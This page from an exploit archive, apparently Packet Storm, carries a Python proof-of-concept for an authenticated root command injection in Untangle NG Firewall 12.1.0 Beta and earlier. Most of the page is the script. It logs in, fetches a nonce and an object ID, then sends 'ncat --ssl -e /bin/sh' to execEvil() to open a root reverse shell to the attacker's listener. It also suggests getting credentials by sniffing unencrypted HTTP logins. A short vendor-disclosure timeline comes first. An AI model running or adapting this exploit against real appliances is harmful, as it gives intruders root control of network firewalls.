exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Untangle NGFW 12.1.0 Beta execEvil() Command Injection

Untangle NGFW 12.1.0 Beta execEvil() Command Injection
Posted Jun 27, 2016
Authored by Matt Bush

Untangle NGFW versions 12.1.0 Beta and below execEvil() authentication root command injection exploit.

tags | exploit, root
SHA-256 | 6b6b9f55e4e0320da456dbd48649b468e11cad30e125d2f8cbdbf12e0f473a27

Untangle NGFW 12.1.0 Beta execEvil() Command Injection

Change Mirror Download
#!/usr/bin/python

# Title: Untangle NGFW <= v12.1.0 beta execEvil() authenticated root CI exploit
# CVE: (Not yet assigned)
# Discovery: Matt Bush (@3xocyte)
# Exploit: Matt Bush
# Contact: mbush@themissinglink.com.au

# Disclosure Timeline:
# 22/4/2016 Attempted to contact vendor after discovery of vulnerabilities
# 6/5/2016 No response from vendor, vulnerabilities reported to US-CERT (assigned VU#538103)
# 12/5/2016 US-CERT confirms contacting vendor
# 16/6/2016 US-CERT notifies of no response from vendor and suggests requesting CVE-ID following their timeline
# 27/6/2016 Public disclosure

# A command injection vulnerability exists in Untangle NG Firewall, which allows non-root authenticated users to execute system commands with
# root privileges. This exploit has been tested on Untangle NG Firewall versions 11.2, 12, 12.0.1, and 12.1.0 beta, but should work on previous
# versions. The client-side sanitisation issues identified in the disclosure post can be exploited with a web app proxy. This exploit leverages
# the vulnerable function directly. Credentials can be obtained by sniffing unsecured HTTP logins (which the appliance defaults to).

# The author is not responsible for how this script or any information within this script is used. Don't do anything stupid.

import json, requests, sys

if len(sys.argv) < 5:
print "[!] usage: " + sys.argv[0] + " <RHOST> <LHOST> <username> <password>"
print "[!] and in a separate terminal: 'ncat --ssl -nlvp 443'"
sys.exit()

print "\nUntangle NGFW <= v12.0.1 execEvil() authenticated root CI exploit"
print " by @3xocyte\n"

rhost = sys.argv[1]
lhost = sys.argv[2]
username = sys.argv[3]
password = sys.argv[4]

login_url = "http://" + rhost + "/auth/login?url=/webui&realm=Administrator"
rpc_url = "http://" + rhost + "/webui/JSON-RPC"
auth = {'username': username, 'password': password}

print "[*] Opening session..."
session = requests.Session()

print "[*] Authenticating..."
try:
login = session.post(login_url, data=auth)
get_nonce = {"id":1,"nonce":"","method":"system.getNonce","params":[]}
req_nonce = session.post(rpc_url, data=json.dumps(get_nonce))
data = json.loads(req_nonce.text)
nonce = data['result']
except:
print "[!] Authentication failed. Quitting."
sys.exit()

print "[*] Getting execManager objectID..."
try:
get_obj_id = {"id":2,"nonce":nonce,"method":"UvmContext.getWebuiStartupInfo","params":[]}
req_obj_id = session.post(rpc_url, data=json.dumps(get_obj_id))
data = json.loads(req_obj_id.text)
object_id = data['result']['execManager']['objectID']

except:
print "[!] Could not get execManager objectID. Quitting."
sys.exit()

print "[*] Exploiting Ung.Main.getExecManager().execEvil()..."
try:
exploit = {"id":3,"nonce":nonce,"method":".obj#" + str(object_id) + ".execEvil","params":["ncat --ssl -e /bin/sh " + lhost + " 443"]}
session.post(rpc_url, data=json.dumps(exploit))
except:
print "[!] Exploit failed. Quitting."
sys.exit()

print "[*] Exploit sent!"

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close